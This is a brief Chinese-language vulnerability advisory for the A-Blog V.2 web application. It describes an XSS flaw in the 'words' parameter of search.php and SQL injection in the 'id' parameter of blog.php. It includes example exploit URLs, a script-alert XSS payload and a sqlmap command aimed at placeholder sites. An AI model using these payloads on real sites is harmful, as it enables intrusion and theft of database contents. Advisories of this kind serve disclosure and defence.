### 1、漏洞介绍
* 漏洞名称:A-Blog V.2 (id) XSS / Remote SQL Injection Exploit
* 漏洞类型:XSS跨站脚本/SQL注入
* 漏洞危害:中
* 漏洞影响:A-Blog V.2
### 2、漏洞分析
1. search.php页面参数words未过滤,存在XSS跨站脚本攻击
2. blog.php页面参数id未过滤,存在SQL注入漏洞
### 3、漏洞利用
3.1 XSS跨站脚本
```
http://网站地址/search.php?words=[XSS攻击代码]&submit=Go
例如:(弹出xss)
http://网站地址/search.php?words=<script>alert('xss');</script>&submit=Go
```
3.2 SQL注入
```
http://网站地址/blog.php?view=news&id=9999 [SQL攻击代码]
sqlmap工具利用:
sqlmap.py -u "http://网站地址/blog.php?view=news&id=9999"
```